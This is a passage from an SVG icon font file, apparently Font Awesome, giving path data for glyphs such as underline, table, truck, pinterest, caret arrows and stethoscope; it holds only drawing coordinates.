d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 98 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6
l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -56 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23
l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
    <glyph glyph-name="underline" unicode="&#xf0cd;" 
d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47
q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41
q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472
q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
    <glyph glyph-name="table" unicode="&#xf0ce;" horiz-adv-x="1664" 
d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23
v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192
q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192
q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113
z" />
    <glyph glyph-name="magic" unicode="&#xf0d0;" horiz-adv-x="1664" 
d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276
l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="1792" 
d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5
t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38
t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
    <glyph glyph-name="pinterest" unicode="&#xf0d2;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134
q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33
q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="pinterest_sign" unicode="&#xf0d3;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5
t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5
t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="google_plus_sign" unicode="&#xf0d4;" 
d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585
h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="google_plus" unicode="&#xf0d5;" horiz-adv-x="2304" 
d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62
q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
    <glyph glyph-name="money" unicode="&#xf0d6;" horiz-adv-x="1920" 
d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384
v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_down" unicode="&#xf0d7;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_up" unicode="&#xf0d8;" horiz-adv-x="1024" 
d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="caret_left" unicode="&#xf0d9;" horiz-adv-x="640" 
d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="caret_right" unicode="&#xf0da;" horiz-adv-x="640" 
d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="columns" unicode="&#xf0db;" horiz-adv-x="1664" 
d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="sort_down" unicode="&#xf0dd;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="sort_up" unicode="&#xf0de;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="envelope_alt" unicode="&#xf0e0;" horiz-adv-x="1792" 
d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123
q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
    <glyph glyph-name="linkedin" unicode="&#xf0e1;" 
d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329
q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
    <glyph glyph-name="undo" unicode="&#xf0e2;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
    <glyph glyph-name="legal" unicode="&#xf0e3;" horiz-adv-x="1792" 
d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5
t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14
q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28
q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
    <glyph glyph-name="dashboard" unicode="&#xf0e4;" horiz-adv-x="1792" 
d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5
t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5
t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29
q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="comment_alt" unicode="&#xf0e5;" horiz-adv-x="1792" 
d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640
q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5
t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="comments_alt" unicode="&#xf0e6;" horiz-adv-x="1792" 
d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257
t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5
t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129
q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="896" 
d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="1792" 
d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="1664" 
d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97
q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69
q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="1792" 
d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28
h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="light_bulb" unicode="&#xf0eb;" horiz-adv-x="1024" 
d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134
q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47
q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5
t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
    <glyph glyph-name="exchange" unicode="&#xf0ec;" horiz-adv-x="1792" 
d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9
q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="cloud_download" unicode="&#xf0ed;" horiz-adv-x="1920" 
d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="cloud_upload" unicode="&#xf0ee;" horiz-adv-x="1920" 
d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="user_md" unicode="&#xf0f0;" horiz-adv-x="1408" 
d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56
t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68
t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" horiz-adv-x="1408" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48
t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252
t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="suitcase" unicode="&#xf0f2;" horiz-adv-x="1792" 
d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66
t66 -158z" />
    <glyph glyph-name="bell_alt" unicode="&#xf0f3;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5
t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="1920" 
d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45
t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="food" unicode="&#xf0f5;" horiz-adv-x="1408" 
d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45
t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="file_text_alt" unicode="&#xf0f6;" 
